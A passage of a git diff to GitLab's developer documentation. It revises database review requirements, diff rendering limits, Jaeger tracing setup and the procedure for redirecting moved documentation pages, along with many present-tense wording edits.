https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database Review Guidelines @@ -36,9 +36,22 @@ point out specific queries for review and there are no obviously complex queries, it is enough to concentrate on reviewing the migration only. -It is preferable to review queries in SQL form and generally accepted -to ask the author to translate any ActiveRecord queries in SQL form -for review. +### Required + +The following artifacts are required prior to submitting for a ~database review. +If your merge request description does not include these items, the review will be reassigned back to the author. + +If new migrations are introduced, in the MR **you are required to provide**: + +- The output of both migrating and rolling back for all migrations + +If new queries have been introduced or existing queries have been updated, **you are required to provide**: + +- [Query plans](#query-plans) for each raw SQL query included in the merge request along with the link to the query plan following each raw SQL snippet. +- [Raw SQL](#raw-sql) for all changed or added queries (as translated from ActiveRecord queries). + - In case of updating an existing query, the raw SQL of both the old and the new version of the query should be provided together with their query plans. + +Refer to [Preparation when adding or modifying queries](#preparation-when-adding-or-modifying-queries) for how to provide this information. ### Roles and process @@ -47,9 +60,11 @@ A Merge Request **author**'s role is to: - Decide whether a database review is needed. - If database review is needed, add the ~database label. - [Prepare the merge request for a database review](#how-to-prepare-the-merge-request-for-a-database-review). +- Provide the [required](#required) artifacts prior to submitting the MR. A database **reviewer**'s role is to: +- Ensure the [required](#required) artifacts are provided and in the proper format. If they are not, reassign the merge request back to the author. - Perform a first-pass review on the MR and suggest improvements to the author. - Once satisfied, relabel the MR with ~"database::reviewed", approve it, and reassign MR to the database **maintainer** suggested by Reviewer @@ -104,23 +119,43 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac #### Preparation when adding or modifying queries +##### Raw SQL + - Write the raw SQL in the MR description. Preferably formatted nicely with [pgFormatter](https://sqlformat.darold.net) or [paste.depesz.com](https://paste.depesz.com) and using regular quotes (e.g. `"projects"."id"`) and avoiding smart quotes (e.g. `“projects”.“id”`). -- Include the output of `EXPLAIN (ANALYZE, BUFFERS)` of the relevant - queries in the description. If the output is too long, wrap it in - `<details>` blocks, paste it in a GitLab Snippet, or provide the - link to the plan at: [explain.depesz.com](https://explain.depesz.com). +- In case of queries generated dynamically by using parameters, there should be one raw SQL query for each variation. + + For example, a finder for issues that may take as a parameter an optional filter on projects, + should include both the version of the simple query over issues and the one that joins issues + and projects and applies the filter. + + There are finders or other methods that can generate a very large amount of permutations. + There is no need to exhaustively add all the possible generated queries, just the one with + all the parameters included and one for each type of queries generated. + + For example, if joins or a group by clause are optional, the versions without the group by clause + and with less joins should be also included, while keeping the appropriate filters for the remaining tables. + +- If a query is going to be always used with a limit and an offset, those should always be + included with the maximum allowed limit used and a non 0 offset. + +##### Query Plans + +- The query plan for each raw SQL query included in the merge request along with the link to the query plan following each raw SQL snippet. +- Provide the link to the plan at: [explain.depesz.com](https://explain.depesz.com). Paste both the plan and the query used in the form. - When providing query plans, make sure it hits enough data: - You can use a GitLab production replica to test your queries on a large scale, through the `#database-lab` Slack channel or through [chatops](understanding_explain_plans.md#chatops). - Usually, the `gitlab-org` namespace (`namespace_id = 9970`) and the `gitlab-org/gitlab-foss` (`project_id = 13083`) or the `gitlab-org/gitlab` (`project_id = 278964`) projects provide enough data to serve as a good example. -- For query changes, it is best to provide the SQL query along with a - plan _before_ and _after_ the change. This helps to spot differences - quickly. + - That means that no query plan should return 0 records or less records than the provided limit (if a limit is included). If a query is used in batching, a proper example batch with adequate included results should be identified and provided. + - If your queries belong to a new feature in GitLab.com and thus they don't return data in production, it's suggested to analyze the query and to provide the plan from a local environment. + - More information on how to find the number of actual returned records in [Understanding EXPLAIN plans](understanding_explain_plans.md) +- For query changes, it is best to provide both the SQL queries along with the + plan _before_ and _after_ the change. This helps spot differences quickly. - Include data that shows the performance improvement, preferably in the form of a benchmark. @@ -158,8 +193,8 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - Maintainer: After the merge request is merged, notify Release Managers about it on `#f_upcoming_release` Slack channel. - Check consistency with `db/structure.sql` and that migrations are [reversible](migration_style_guide.md#reversibility) - Check that the relevant version files under `db/schema_migrations` were added or removed. - - Check queries timing (If any): Queries executed in a migration - need to fit comfortably within `15s` - preferably much less than that - on GitLab.com. + - Check queries timing (If any): In a single transaction, cumulative query time executed in a migration + needs to fit comfortably within `15s` - preferably much less than that - on GitLab.com. - For column removals, make sure the column has been [ignored in a previous release](what_requires_downtime.md#dropping-columns) - Check [background migrations](background_migrations.md): - Establish a time estimate for execution on GitLab.com. For historical purposes, @@ -190,7 +225,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - For given queries, review parameters regarding data distribution - [Check query plans](understanding_explain_plans.md) and suggest improvements to queries (changing the query, schema or adding indexes and similar) - - General guideline is for queries to come in below 100ms execution time + - General guideline is for queries to come in below [100ms execution time](query_performance.md#timing-guidelines-for-queries) - Avoid N+1 problems and minimalize the [query count](merge_request_performance_guidelines.md#query-counts). ### Timing guidelines for migrations @@ -199,11 +234,11 @@ In general, migrations for a single deploy shouldn't take longer than 1 hour for GitLab.com. The following guidelines are not hard rules, they were estimated to keep migration timing to a minimum. -NOTE: **Note:** +NOTE: Keep in mind that all runtimes should be measured against GitLab.com. | Migration Type | Execution Time Recommended | Notes | |----|----|---| | Regular migrations on `db/migrate` | `3 minutes` | A valid exception are index creation as this can take a long time. | | Post migrations on `db/post_migrate` | `10 minutes` | | -| Background migrations | --- | Since these are suitable for larger tables, it's not possible to set a precise timing guideline, however, any single query must stay below `1 second` execution time with cold caches. | +| Background migrations | --- | Since these are suitable for larger tables, it's not possible to set a precise timing guideline, however, any single query must stay below [`1 second` execution time](query_performance.md#timing-guidelines-for-queries) with cold caches. | diff --git a/doc/development/db_dump.md b/doc/development/db_dump.md index b16cd4b08d1..505305c860a 100644 --- a/doc/development/db_dump.md +++ b/doc/development/db_dump.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Importing a database dump into a staging environment diff --git a/doc/development/deleting_migrations.md b/doc/development/deleting_migrations.md index df36715fa6a..f159f679c32 100644 --- a/doc/development/deleting_migrations.md +++ b/doc/development/deleting_migrations.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Delete existing migrations diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md index 5cc408bb57b..c2fea3c6053 100644 --- a/doc/development/deprecation_guidelines/index.md +++ b/doc/development/deprecation_guidelines/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deprecation guidelines @@ -15,7 +15,7 @@ It's important to understand the difference between **deprecation** and **removal**: **Deprecation** is the process of flagging/marking/announcing that a feature -will be removed in a future version of GitLab. +is scheduled for removal in a future version of GitLab. **Removal** is the process of actually removing a feature that was previously deprecated. diff --git a/doc/development/diffs.md b/doc/development/diffs.md index ece7bb9e9ee..fba8eda0408 100644 --- a/doc/development/diffs.md +++ b/doc/development/diffs.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Working with diffs -Currently we rely on different sources to present diffs, these include: +We rely on different sources to present diffs. These include: - Gitaly service - Database (through `merge_request_diff_files`) @@ -14,7 +14,14 @@ Currently we rely on different sources to present diffs, these include: ## Deep Dive -In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's Diffs and Commenting on Diffs functionality to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek), and the slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/). Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may have changed since then, it should still serve as a good introduction. +In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: +`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs +functionality to share his domain specific knowledge with anyone who may work in this part of the +codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek), +and the slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) +and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/). +Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may +have changed since then, it should still serve as a good introduction. ## Architecture overview @@ -56,8 +63,7 @@ of hitting the repository every time we need the diff of the file, we: ## Diff limits As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file, -and cases where the diff file is not presented at all, and the user is guided to the Blob view. Here we'll go into details about -these limits. +and cases where the diff file is not presented at all, and the user is guided to the Blob view. ### Diff collection limits @@ -67,40 +73,40 @@ Limits that act onto all diff files collection. Files number, lines number and f Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100 ``` -File diffs will be collapsed (but be expandable) if 100 files have already been rendered. +File diffs are collapsed (but are expandable) if 100 files have already been rendered. ```ruby Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 ``` -File diffs will be collapsed (but be expandable) if 5000 lines have already been rendered. +File diffs are collapsed (but be expandable) if 5000 lines have already been rendered. ```ruby Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes ``` -File diffs will be collapsed (but be expandable) if 500 kilobytes have already been rendered. +File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered. ```ruby Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000 ``` -No more files will be rendered at all if 1000 files have already been rendered. +No more files are rendered at all if 1000 files have already been rendered. ```ruby Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000 ``` -No more files will be rendered at all if 50,000 lines have already been rendered. +No more files are rendered at all if 50,000 lines have already been rendered. ```ruby Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes ``` -No more files will be rendered at all if 5 megabytes have already been rendered. +No more files are rendered at all if 5 megabytes have already been rendered. -All collection limit parameters are currently sent and applied on Gitaly. That is, once the limit is surpassed, -Gitaly will only return the safe amount of data to be persisted on `merge_request_diff_files`. +All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed, +Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`. ### Individual diff file limits @@ -110,24 +116,24 @@ Limits that act onto each diff file of a collection. Files number, lines number Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`. That is, it's equivalent to 10kb if the maximum allowed value is 100kb. -The diff will still be persisted and expandable if the patch size doesn't +The diff is persisted and expandable if the patch size doesn't surpass `ApplicationSettings#diff_max_patch_bytes`. Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly). -Gitaly will only return `Diff.Collapsed` (RPC) when surpassing collection limits. +Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits. #### Not expandable patches (too large) The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`. -Users will see a `This source diff could not be displayed because it is too large` message. +Users see a `This source diff could not be displayed because it is too large` message. ```ruby Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 ``` -File diff will be suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines. +File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines. -This limit is currently hardcoded and only applied on GitLab. +This limit is hardcoded and only applied on GitLab. ## Viewers diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index 6d277f9ae99..9228609aae9 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Distributed Tracing - development guidelines @@ -49,7 +49,7 @@ all subsystems at GitLab: - Correlation IDs should never be used to pass context (for example, a username or an IP address). - Correlation IDs should never be _parsed_, or manipulated in other ways (for example, split). -The [LabKit library](https://gitlab.com/gitlab-org/labkit) provides a standardized interface for working with GitLab's +The [LabKit library](https://gitlab.com/gitlab-org/labkit) provides a standardized interface for working with GitLab correlation IDs in the Go programming language. LabKit can be used as a reference implementation for developers working with tracing and correlation IDs on non-Go GitLab subsystems. @@ -59,7 +59,7 @@ on non-Go GitLab subsystems. GitLab uses the `GITLAB_TRACING` environment variable to configure distributed tracing. The same configuration is used for all components (e.g., Workhorse, Rails, etc). -When `GITLAB_TRACING` is not set, the application will not be instrumented, meaning that there is +When `GITLAB_TRACING` is not set, the application isn't instrumented, meaning that there is no overhead at all. To enable `GITLAB_TRACING`, a valid _"configuration-string"_ value should be set, with a URL-like @@ -94,8 +94,8 @@ by typing `p` `b` in the browser window. Once the performance bar is enabled, click on the **Trace** link in the performance bar to go to the Jaeger UI. -The Jaeger search UI will return a query for the `Correlation-ID` of the current request. Normally, -this search should return a single trace result. Clicking this result will show the detail of the +The Jaeger search UI returns a query for the `Correlation-ID` of the current request. Normally, +this search should return a single trace result. Clicking this result shows the detail of the trace in a hierarchical time-line.  @@ -154,7 +154,7 @@ This should start the process with the default listening ports. ### 2. Configure the `GITLAB_TRACING` environment variable -Once you have Jaeger running, you'll need to configure the `GITLAB_TRACING` variable with the +Once you have Jaeger running, configure the `GITLAB_TRACING` variable with the appropriate configuration string. **TL;DR:** If you are running everything on the same host, use the following value: @@ -178,9 +178,9 @@ This configuration string uses the Jaeger driver `opentracing://jaeger` with the | `udp_endpoint` | `localhost:6831` | This is the default. Configures Jaeger to send trace information to the UDP listener on port `6831` using compact thrift protocol. Note that we've experienced some issues with the [Jaeger Client for Ruby](https://github.com/salemove/jaeger-client-ruby) when using this protocol. | | `sampler` | `probabalistic` | Configures Jaeger to use a probabilistic random sampler. The rate of samples is configured by the `sampler_param` value. | | `sampler_param` | `0.01` | Use a ratio of `0.01` to configure the `probabalistic` sampler to randomly sample _1%_ of traces. | -| `service_name` | `api` | Override the service name used by the Jaeger backend. This parameter will take precedence over the application-supplied value. | +| `service_name` | `api` | Override the service name used by the Jaeger backend. This parameter takes precedence over the application-supplied value. | -NOTE: **Note:** +NOTE: The same `GITLAB_TRACING` value should to be configured in the environment variables for all GitLab processes, including Workhorse, Gitaly, Rails, and Sidekiq. @@ -189,7 +189,7 @@ variables for all GitLab processes, including Workhorse, Gitaly, Rails, and Side After the `GITLAB_TRACING` environment variable is exported to all GitLab services, start the application. -When `GITLAB_TRACING` is configured properly, the application will log this on startup: +When `GITLAB_TRACING` is configured properly, the application logs this on startup: ```shell 13:41:53 gitlab-workhorse.1 | 2019/02/12 13:41:53 Tracing enabled @@ -198,7 +198,7 @@ When `GITLAB_TRACING` is configured properly, the application will log this on s ... ``` -If `GITLAB_TRACING` is not configured correctly, this will also be logged: +If `GITLAB_TRACING` is not configured correctly, this issue is logged: ```shell 13:43:45 gitaly.1 | 2019/02/12 13:43:45 skipping tracing configuration step: tracer: unable to load driver mytracer @@ -215,6 +215,6 @@ not set. By default, the Jaeger search UI is available at <http://localhost:16686/search>. -TIP: **Tip:** -Don't forget that you will need to generate traces by using the application before +NOTE: +Don't forget that you must generate traces by using the application before they appear in the Jaeger UI. diff --git a/doc/development/doc_styleguide.md b/doc/development/doc_styleguide.md index 4a9f2a626f7..1595a841ade 100644 --- a/doc/development/doc_styleguide.md +++ b/doc/development/doc_styleguide.md @@ -3,3 +3,6 @@ redirect_to: 'documentation/styleguide.md' --- This document was moved to [another location](documentation/styleguide.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/feature-change-workflow.md b/doc/development/documentation/feature-change-workflow.md index 004d8833e63..78e5510ffca 100644 --- a/doc/development/documentation/feature-change-workflow.md +++ b/doc/development/documentation/feature-change-workflow.md @@ -3,3 +3,6 @@ redirect_to: 'workflow.md' --- This document was moved to [another location](workflow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md index 5bc3e1d59e2..59298c5345f 100644 --- a/doc/development/documentation/feature_flags.md +++ b/doc/development/documentation/feature_flags.md @@ -30,7 +30,7 @@ See how to document them below, according to the state of the flag: - [Features that can be enabled or disabled for a single project](#features-enabled-by-project). - [Features with the feature flag removed](#features-with-flag-removed). -The [`**(CORE ONLY)**`](styleguide/index.md#product-badges) badge or equivalent for +The [`**(CORE ONLY)**`](styleguide/index.md#product-tier-badges) badge or equivalent for the feature's tier should be added to the line and heading that refers to enabling/disabling feature flags as Admin access is required to do so, therefore, it indicates that it cannot be done by regular users of GitLab.com. @@ -65,7 +65,7 @@ be enabled for a single project, and is not ready for production use: > - It's not recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. (...Regular content goes here...) @@ -124,7 +124,7 @@ use: > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. (...Regular content goes here...) @@ -180,7 +180,7 @@ cannot be enabled for a single project, and is ready for production use: > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. (...Regular content goes here...) @@ -253,7 +253,7 @@ be enabled by project, and is ready for production use: > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. (...Regular content goes here...) diff --git a/doc/development/documentation/improvement-workflow.md b/doc/development/documentation/improvement-workflow.md index 004d8833e63..78e5510ffca 100644 --- a/doc/development/documentation/improvement-workflow.md +++ b/doc/development/documentation/improvement-workflow.md @@ -3,3 +3,6 @@ redirect_to: 'workflow.md' --- This document was moved to [another location](workflow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 69a8ff10878..5fb5e9b433a 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -1,13 +1,13 @@ --- stage: none group: Documentation Guidelines -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: Learn how to contribute to GitLab Documentation. --- # GitLab Documentation guidelines -GitLab's documentation is [intended as the single source of truth (SSOT)](https://about.gitlab.com/handbook/documentation/) for information about how to configure, use, and troubleshoot GitLab. The documentation contains use cases and usage instructions for every GitLab feature, organized by product area and subject. This includes topics and workflows that span multiple GitLab features, and the use of GitLab with other applications. +The GitLab documentation is [intended as the single source of truth (SSOT)](https://about.gitlab.com/handbook/documentation/) for information about how to configure, use, and troubleshoot GitLab. The documentation contains use cases and usage instructions for every GitLab feature, organized by product area and subject. This includes topics and workflows that span multiple GitLab features, and the use of GitLab with other applications. In addition to this page, the following resources can help you craft and contribute to documentation: @@ -38,8 +38,8 @@ Documentation issues and merge requests are part of their respective repositorie The [CI pipeline for the main GitLab project](../pipelines.md) is configured to automatically run only the jobs that match the type of contribution. If your contribution contains -**only** documentation changes, then only documentation-related jobs will be run, and -the pipeline will complete much faster than a code contribution. +**only** documentation changes, then only documentation-related jobs run, and +the pipeline completes much faster than a code contribution. If you are submitting documentation-only changes to Runner, Omnibus, or Charts, the fast pipeline is not determined automatically. Instead, create branches for @@ -82,7 +82,7 @@ All values are treated as strings and are only used for the Each page should ideally have metadata related to the stage and group it belongs to, as well as an information block as described below: -- `stage`: The [Stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages) +- `stage`: The [Stage](https://about.gitlab.com/handbook/product/categories/#devops-stages) to which the majority of the page's content belongs. - `group`: The [Group](https://about.gitlab.com/company/team/structure/#product-groups) to which the majority of the page's content belongs. @@ -93,7 +93,7 @@ belongs to, as well as an information block as described below: ```plaintext To determine the technical writer assigned to the Stage/Group associated with this page, see - https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers + https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments ``` For example, the following metadata would be at the beginning of a product @@ -104,7 +104,7 @@ feature: --- stage: Monitor group: APM -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- ``` @@ -152,7 +152,7 @@ comments: false Each page can have additional, optional metadata (set in the [default.html](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/fc3577921343173d589dfa43d837b4307e4e620f/layouts/default.html#L30-52) -Nanoc layout), which will be displayed at the top of the page if defined: +Nanoc layout), which is displayed at the top of the page if defined: - `reading_time`: If you want to add an indication of the approximate reading time of a page, you can set `reading_time` to `true`. This uses a simple @@ -161,78 +161,82 @@ Nanoc layout), which will be displayed at the top of the page if defined: ## Move or rename a page -Moving or renaming a document is the same as changing its location. This process -requires specific steps to ensure that visitors can find the new -documentation page, whether they're using `/help` from a GitLab instance or by -visiting <https://docs.gitlab.com>. - -Be sure to assign a technical writer to a page move or rename MR. Technical +Moving or renaming a document is the same as changing its location. +Be sure to assign a technical writer to any MR that renames or moves a page. Technical Writers can help with any questions and can review your change. -To change a document's location, don't remove the old document, but instead -replace all of its content with the following: +When moving or renaming a page, you must redirect browsers to the new page. This +ensures users find the new page, and have the opportunity to update their bookmarks. -```markdown ---- -redirect_to: '../path/to/file/index.md' ---- +There are two types of redirects: -This document was moved to [another location](../path/to/file/index.md). -``` +- Redirect files added into the docs themselves, for users who view the docs in `/help` + on self-managed instances. For example, [`/help` on GitLab.com](https://gitlab.com/help). +- Redirects in a [`_redirects`](../../user/project/pages/redirects.md) file, for users + who view the docs on <http://docs.gitlab.com>. -Replace `../path/to/file/index.md` with the relative path to the old document. +To add a redirect: -The `redirect_to` variable supports both full and relative URLs; for example: +1. In an MR in one of the internal docs projects (`gitlab`, `gitlab-runner`, `omnibus-gitlab` + or `charts`): + 1. Move or rename the doc, but do not delete the old doc. + 1. In the old doc, add the redirect code for `/help`. Use the following template exactly, + and only change the links and date. Use relative paths and `.md` for a redirect + to another docs page. Use the full URL to redirect to a different project or site: -- `https://docs.gitlab.com/ee/path/to/file.html` -- `../path/to/file.html` -- `path/to/file.md` + ```markdown + --- + redirect_to: '../path/to/file/index.md' + --- -The redirect works for <https://docs.gitlab.com>, and any `*.md` paths are -changed to `*.html`. The description line following the `redirect_to` code -informs the visitor that the document changed location if the redirect process -doesn't complete successfully. + This document was moved to [another location](../path/to/file/index.md). -For example, if you move `doc/workflow/lfs/index.md` to -`doc/administration/lfs.md`, then the steps would be: + <!-- This redirect file can be deleted after <YYYY-MM-DD>. --> + <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> + ``` -1. Copy `doc/workflow/lfs/index.md` to `doc/administration/lfs.md` -1. Replace the contents of `doc/workflow/lfs/index.md` with: + Redirect files linking to docs in any of the 4 internal docs projects can be + removed after 3 months. Redirect files linking to external sites can be removed + after 1 year. - ```markdown - --- - redirect_to: '../../administration/lfs.md' - --- + 1. If the document being moved has any Disqus comments on it, follow the steps + described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments). + 1. Assign the MR to a technical writer for review and merge. +1. If the redirect is to one of the 4 internal docs projects (not an external URL), + create an MR in [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs): + 1. Update [`_redirects`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_redirects) + with one redirect entry for each renamed or moved file. This code works for + <https://docs.gitlab.com> links only: - This document was moved to [another location](../../administration/lfs.md). - ``` + ```plaintext + /ee/path/to/old_file.html /ee/path/to/new_file 302 # To be removed after YYYY-MM-DD + ``` -1. Find and replace any occurrences of the old location with the new one. - A quick way to find them is to use `git grep` on the repository you changed - the file from: + The path must start with the internal project directory `/ee` for `gitlab`, + `/gitlab-runner`, `/omnibus-gitlab` or `charts`, and must end with `.html`. - ```shell - git grep -n "workflow/lfs/lfs_administration" - git grep -n "lfs/lfs_administration" - ``` + `_redirects` entries can be removed after one year. -1. If the document being moved has any Disqus comments on it, follow the steps - described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments). +1. Search for links to the old file. You must find and update all links to the old file: -Things to note: + - In <https://gitlab.com/gitlab-com/www-gitlab-com>, search for full URLs: + `grep -r "docs.gitlab.com/ee/path/to/file.html" .` + - In <https://gitlab.com/gitlab-org/gitlab-docs/-/tree/master/content/_data>, + search the navigation bar configuration files for the path with `.html`: + `grep -r "path/to/file.html" .` + - In any of the 4 internal projects. This includes searching for links in the docs + and codebase. Search for all variations, including full URL and just the path. + In macOS for example, go to the root directory of the `gitlab` project and run: -- Since we also use inline documentation, except for the documentation itself, - the document might also be referenced in the views of GitLab (`app/`) which will - render when visiting `/help`, and sometimes in the testing suite (`spec/`). - You must search these paths for references to the doc and update them as well. -- The above `git grep` command will search recursively in the directory you run - it in for `workflow/lfs/lfs_administration` and `lfs/lfs_administration` - and will print the file and the line where this file is mentioned. - You may ask why the two greps. Since [we use relative paths to link to - documentation](styleguide/index.md#links), sometimes it might be useful to search a path deeper. -- The `*.md` extension is not used when a document is linked to GitLab's - built-in help page, which is why we omit it in `git grep`. -- Use the checklist on the "Change documentation location" MR description template. + ```shell + grep -r "docs.gitlab.com/ee/path/to/file.html" . + grep -r "path/to/file.html" . + grep -r "path/to/file.md" . + grep -r "path/to/file" . + ``` + + You may need to try variations of relative links as well, such as `../path/to/file` + or even `../file` to find every case. ### Redirections for pages with Disqus comments @@ -249,7 +253,7 @@ available under `https://docs.gitlab.com/my-old-location/README.html` to a new l `https://docs.gitlab.com/my-new-location/index.html`. Into the **new document** front matter, we add the following information. You must -include the file name in the `disqus_identifier` URL, even if it's `index.html` or `README.html`. +include the filename in the `disqus_identifier` URL, even if it's `index.html` or `README.html`. ```yaml --- @@ -267,7 +271,7 @@ Before getting started, make sure you read the introductory section - Label the MR `Documentation` (can only be done by people with `developer` access, for example, GitLab team members) - Assign the correct milestone per note below (can only be done by people with `developer` access, for example, GitLab team members) -Documentation will be merged if it is an improvement on existing content, +Documentation is merged if it is an improvement on existing content, represents a good-faith effort to follow the template and style standards, and is believed to be accurate. @@ -285,16 +289,16 @@ Every GitLab instance includes the documentation, which is available at `/help` (`https://gitlab.example.com/help`). For example, <https://gitlab.com/help>. The documentation available online on <https://docs.gitlab.com> is deployed every four hours from the `master` branch of GitLab, Omnibus, and Runner. Therefore, -after a merge request gets merged, it will be available online on the same day. -However, it will be shipped (and available on `/help`) within the milestone assigned +after a merge request gets merged, it is available online on the same day. +However, it's shipped (and available on `/help`) within the milestone assigned to the MR. For example, let's say your merge request has a milestone set to 11.3, which -will be released on 2018-09-22. If it gets merged on 2018-09-15, it will be +a release date of 2018-09-22. If it gets merged on 2018-09-15, it is available online on 2018-09-15, but, as the feature freeze date has passed, if the MR does not have a `~"Pick into 11.3"` label, the milestone has to be changed -to 11.4 and it will be shipped with all GitLab packages only on 2018-10-22, -with GitLab 11.4. Meaning, it will only be available under `/help` from GitLab +to 11.4 and it ships with all GitLab packages only on 2018-10-22, +with GitLab 11.4. Meaning, it's available only with `/help` from GitLab 11.4 onward, but available on <https://docs.gitlab.com/> on the same day it was merged. ### Linking to `/help` @@ -365,7 